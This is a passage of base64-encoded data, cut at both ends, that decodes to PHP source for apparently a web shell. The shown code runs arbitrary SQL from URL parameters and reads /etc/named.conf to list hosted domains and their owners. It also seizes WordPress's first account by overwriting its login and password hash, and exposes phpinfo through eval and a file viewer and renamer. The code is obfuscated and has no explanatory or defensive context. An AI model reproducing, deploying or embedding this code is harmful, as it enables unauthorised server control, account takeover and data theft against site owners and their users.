o4MHB4Oyc+JHF1ZXJ5PC90ZXh0YXJlYT48L3A+IDxwPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6ODBweDsnIG5hbWU9J3N1Ym1pdHF1ZXJ5JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvcD4gPC9mb3JtPjwvZGl2PiAiOyR0YWJsZXMgPSBhcnJheSgpOyRtc2cgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZScgc3R5bGU9J3dpZHRoOjk5JTsnPjx0cj48dGg+YXZhaWxhYmxlIHRhYmxlcyBvbiAiLiRkYi4iPC90aD48L3RyPiI7JGhhc2lsID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYiwkY29uKTsNCndoaWxlKGxpc3QoJHRhYmxlKSA9IEBteXNxbF9mZXRjaF9yb3coJGhhc2lsKSl7QGFycmF5X3B1c2goJHRhYmxlcywkdGFibGUpO30gQHNvcnQoJHRhYmxlcyk7DQpmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKXskbXNnIC49ICI8dHI+PHRkPjxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kZGIuIiZhbXA7dGFibGU9Ii4kdGFibGUuIic+JHRhYmxlPC9hPjwvdGQ+PC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pICYmICghaXNzZXQoJF9HRVRbJ3NxbHF1ZXJ5J10pKSl7DQokZGIgPSAkX0dFVFsnZGInXTskdGFibGUgPSAkX0dFVFsndGFibGUnXTskcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgMCwxMDA7IjsNCiRtc2dxID0gIjxkaXYgc3R5bGU9J3dpZHRoOjk5JTtwYWRkaW5nOjAgMTBweDsnPjxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IDxwPjx0ZXh0YXJlYSBuYW1lPSdzcWxxdWVyeScgY2xhc3M9J291dHB1dCcgc3R5bGU9J3dpZHRoOjk4JTtoZWlnaHQ6ODBweDsnPiIuJHF1ZXJ5LiI8L3RleHRhcmVhPjwvcD4gPHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPiA8L2Zvcm0+PC9kaXY+ICI7DQokY29sdW1ucyA9IGFycmF5KCk7JG1zZyA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz4iOyRoYXNpbCA9IEBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAiLiRkYi4iLiIuJHRhYmxlKTt3aGlsZShsaXN0KCRjb2x1bW4pID0gQG15c3FsX2ZldGNoX3JvdygkaGFzaWwpKXsNCiRtc2cgLj0gIjx0aD4kY29sdW1uPC90aD4iOyRrb2x1bSA9ICRjb2x1bW47fSRtc2cgLj0gIjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCBjb3VudCgqKSBGUk9NICIuJGRiLiIuIi4kdGFibGUpOw0KbGlzdCgkdG90YWwpID0gbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCk7DQppZihpc3NldCgkX0dFVFsneiddKSkgJHBhZ2UgPSAoaW50KSAkX0dFVFsneiddOw0KZWxzZSAkcGFnZSA9IDE7JHBhZ2VudW0gPSAxMDA7JHRvdHBhZ2UgPSBjZWlsKCR0b3RhbCAvICRwYWdlbnVtKTskc3RhcnQgPSAoKCRwYWdlIC0gMSkgKiAkcGFnZW51bSk7JGhhc2lsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJHBhZ2VudW0pOw0Kd2hpbGUoJGRhdGFzID0gQG15c3FsX2ZldGNoX2Fzc29jKCRoYXNpbCkpeyRtc2cgLj0gIjx0cj4iO2ZvcmVhY2goJGRhdGFzIGFzICRkYXRhKXtpZih0cmltKCRkYXRhKSA9PSAiIikgDQokZGF0YSA9ICImbmJzcDsiOyRtc2cgLj0gIjx0ZD4kZGF0YTwvdGQ+Ijt9JG1zZyAuPSAiPC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iOyRoZWFkID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6MTBweCAwIDAgNnB4Oyc+IDxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IFBhZ2UgPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBuYW1lPSd6JyBvbmNoYW5nZT0ndGhpcy5mb3JtLnN1Ym1pdCgpOyc+IjsNCmZvcigkaSA9IDE7JGkgPD0gJHRvdHBhZ2U7JGkrKyl7JGhlYWQgLj0gIjxvcHRpb24gdmFsdWU9JyIuJGkuIic+Ii4kaS4iPC9vcHRpb24+IjsNCmlmKCRpID09ICRfR0VUWyd6J10pICRoZWFkIC49ICI8b3B0aW9uIHZhbHVlPSciLiRpLiInIHNlbGVjdGVkPSdzZWxlY3RlZCc+Ii4kaS4iPC9vcHRpb24+Ijt9ICRoZWFkIC49ICI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9ub3NjcmlwdD48L2Zvcm0+PC9kaXY+IjskbXNnID0gJG1zZ3EuJGhlYWQuJG1zZzt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWydzdWJtaXRxdWVyeSddKSAmJiAoJF9HRVRbJ3NxbHF1ZXJ5J10gIT0gIiIpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSBtYWdpY2Jvb20oJF9HRVRbJ3NxbHF1ZXJ5J10pOw0KJG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+Ii4kcXVlcnkuIjwvdGV4dGFyZWE+PC9wPiA8cD48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgc3R5bGU9J3dpZHRoOjgwcHg7JyBuYW1lPSdzdWJtaXRxdWVyeScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L3A+IDwvZm9ybT48L2Rpdj4gIjsNCkBteXNxbF9zZWxlY3RfZGIoJGRiKTskcXVlcnlzID0gZXhwbG9kZSgiOyIsJHF1ZXJ5KTsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpe2lmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7JGhhc2lsID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmKCRoYXNpbCl7JG1zZyAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7Jz4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+IjsNCmZvcigkaT0wOyRpPEBteXNxbF9udW1fZmllbGRzKCRoYXNpbCk7JGkrKykgDQokbXNnIC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKEBteXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7JG1zZyAuPSAiPC90cj4iOw0KZm9yKCRpPTA7JGk8QG15c3FsX251bV9yb3dzKCRoYXNpbCk7JGkrKykgDQp7JHJvd3M9QG15c3FsX2ZldGNoX2FycmF5KCRoYXNpbCk7JG1zZyAuPSAiPHRyPiI7DQpmb3IoJGo9MDskajxAbXlzcWxfbnVtX2ZpZWxkcygkaGFzaWwpOyRqKyspIHsNCmlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiZuYnNwOyI7DQplbHNlICRkYXRheiA9ICRyb3dzWyRqXTskbXNnIC49ICI8dGQ+Ii4kZGF0YXouIjwvdGQ+Ijt9ICRtc2cgLj0gIjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KZWxzZSAkbXNnIC49ICI8cCBzdHlsZT0ncGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDsnPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iO30gfSB9IA0KZWxzZSB7JHF1ZXJ5ID0gIlNIT1cgUFJPQ0VTU0xJU1Q7XG5TSE9XIFZBUklBQkxFUztcblNIT1cgU1RBVFVTOyI7JG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi4kc3FsaG9zdC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi4kc3FscGFzcy4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz48cD48dGV4dGFyZWEgbmFtZT0nc3FscXVlcnknIGNsYXNzPSdvdXRwdXQnIHN0eWxlPSd3aWR0aDo5OCU7aGVpZ2h0OjgwcHg7Jz4iLiRxdWVyeS4iPC90ZXh0YXJlYT48L3A+PHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPjwvZm9ybT48L2Rpdj4gIjskZGJzID0gYXJyYXkoKTskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+PHRoPmF2YWlsYWJsZSBkYXRhYmFzZXM8L3RoPjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfbGlzdF9kYnMoJGNvbik7DQp3aGlsZShsaXN0KCRkYikgPSBAbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCkpe0BhcnJheV9wdXNoKCRkYnMsJGRiKTt9IEBzb3J0KCRkYnMpO2ZvcmVhY2goJGRicyBhcyAkZGIpew0KJG1zZyAuPSAiPHRyPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7eD1teXNxbCZhbXA7c3FsaG9zdD0iLiRzcWxob3N0LiImYW1wO3NxbHVzZXI9Ii4kc3FsdXNlci4iJmFtcDtzcWxwYXNzPSIuJHNxbHBhc3MuIiZhbXA7c3FscG9ydD0iLiRzcWxwb3J0LiImYW1wO2RiPSIuJGRiLiInPiRkYjwvYT48L3RkPjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KQG15c3FsX2Nsb3NlKCRjb24pO30gZWxzZSAkbXNnID0gIjxwIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPmNhbid0IGNvbm5lY3Q8L3A+IjtlY2hvICRtc2c7fSBlbHNlez8+IA0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9Im15c3FsIiAvPjxicj48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5NeVNRTCBDb25uZWN0PC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlcm5hbWU8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsdXNlciIgdmFsdWU9InJvb3QiIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO1Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyMjBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBhc3MiIHZhbHVlPSJwYXNzd29yZCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6ODBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBvcnQiIHZhbHVlPSIzMzA2IiAvPiZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0c3FsIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4gDQo8P3BocCB9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpe2VjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7JGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpe2RpZSgiPGNlbnRlcj5FcnJvciA6IGkgY2FuJ3QgcmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9jZW50ZXI+Iik7fWVjaG8gJzx0YWJsZSBpZD0ib3V0cHV0Ij48dHIgYmdjb2xvcj0jY2VjZWNlPjx0ZD5Eb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+JzsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7aWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTtmbHVzaCgpO2lmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXskdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpO2VjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7Zmx1c2goKTt9fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dvcmRwcmVzcycpKXtpZihlbXB0eSgkX1BPU1RbJ3B3ZCddKSl7ZWNobyAiPGJyPjxicj48YnI+PGJyPjxicj48YnI+PEZPUk0gbWV0aG9kPSdQT1NUJz5EQl9QcmVmaXggOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J3dwXycgbmFtZT0ncHJlZml4JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtob3N0ICAgICA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO2RhdGFiYXNlIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdEYXRhYmFzZScgbmFtZT0nZGF0YWJhc2UnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3VzZXJuYW1lIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl91c2VyJyBuYW1lPSd1c2VybmFtZScgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7cGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDs8YnI+PGJyPk5ldyB1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBwYXNzd29yZCA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj4mbmJzcDsmbmJzcDs8YnI+PElOUFVUIGNsYXNzPSdpbnB1dHpidXQnIHZhbHVlPSdjaGFuZ2UnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2V7JHByZWZpeCA9ICRfUE9TVFsncHJlZml4J107JGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107JGRhdGFiYXNlPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkPSAkX1BPU1RbJ3Bhc3N3b3JkJ107JHB3ZD0gJF9QT1NUWydwd2QnXTskYWRtaW49ICRfUE9TVFsnYWRtaW4nXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRoYXNoID0gY3J5cHQoJHB3ZCk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpO2lmKCRrMil7ZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7fX1lY2hvICc8L2NlbnRlcj4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3RyaW5nJykpeyR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Pz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPmsybGwzM2Q8L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdO3N3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7YnJlYWs7Y2FzZSAnd2hhc2gnIDogJGNvZGk9Y3J5cHQoJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7YnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ0JyA6ICRjb2RpPWhhc2goIm1kNCIsJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTI1NicgOiAkY29kaT1oYXNoKCJzaGEyNTYiLCR0ZXh0KTticmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jzt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7QG9iX3N0YXJ0KCk7QGV2YWwoInBocGluZm8oKTsiKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7JGF3YWwgPSBzdHJwb3MoJGJ1ZmYsIjxib2R5PiIpKzY7JGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7ZWNobyAiPGRpdiBjbGFzcz0ncGhwaW5mbyc+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+Ijt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSl7aWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9IG1hZ2ljYm9vbSgkX0dFVFsndmlldyddKTtpZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7JGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7JG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddO30gZWxzZSB7JG93bmVyID0gJHVzZXI7fSRmaWxuID0gYmFzZW5hbWUoJGZpbGUpO2VjaG8gIjx0YWJsZSBzdHlsZT0nbWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Jz4gPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluayc+Ii4kZmlsZS4iPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJyBzdHlsZT0nbWFyZ2luOjA7cGFkZGluZzowOyc+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSciLiRmaWxuLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjIwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgdmFsdWU9JyIuJGZpbG4uIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3